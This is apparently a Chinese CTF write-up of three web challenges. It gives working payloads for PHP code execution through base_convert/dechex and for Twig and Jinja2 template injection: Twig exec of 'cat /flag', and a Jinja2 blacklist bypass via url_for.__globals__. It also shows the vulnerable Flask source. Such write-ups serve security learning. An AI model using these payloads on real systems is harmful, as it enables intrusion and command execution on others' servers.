WEB
[CISCN 2019 初赛]Love Math
这题主要是通过给的那些函数来进行一个RCE,其中值得注意的就是进制转换函数base_convert()
、dechex()
了,我们的主要目的是造出来一个_GET
,然后再通过这个来传入参数,进行RCE。而通过base_convert()
函数可以进行任意进制间的一个转换,也就是可以构造出来任意的字符串,这里可以先通过一个base_convert()
函数造出来一个hex2bin
,然后通过dechex()
函数把十进制转换成16进制,然后通过hex2bin()
这个函数把该十六进制字符串转换成_GET
,然后通过白名单中一些比较短的字符串来传递参数,例如pi
、cos
,最终构造为
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag
得到flag
[BJDCTF2020]Cookie is so stable
在flag栏里面输入{
{1+1}}
,返回2,确认为SSTI漏洞,注入点也就是为存于Cookie中的user值。
然后输入{
{7*'7'}}
返回49,确认为Twig
模板,然后直接打即可,payload如下
{
{_self.env.registerUndefinedFilterCallback("exec")}}{
{_self.env.getFilter("cat /flag")}}
[WesternCTF2018]shrine
给了源码,输入/shrine/{
{7*'7'}}
返回7777777
,却认为Jinja2
的模板,但是不能直接打了,因为过滤掉了config
和self
。
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
#这里告诉我们flag在config里面
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{
{% set {}=None%}}'.format(c) for c in blacklist]) + s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
当我们需要获取配置信息时,需要获得current_app
这样的全局变量,即构造如下payload即可获得flag
/shrine/{
{url_for.__globals__['current_app'].config}}
/shrine/{
{get_flashed_messages.__globals__['current_app'].config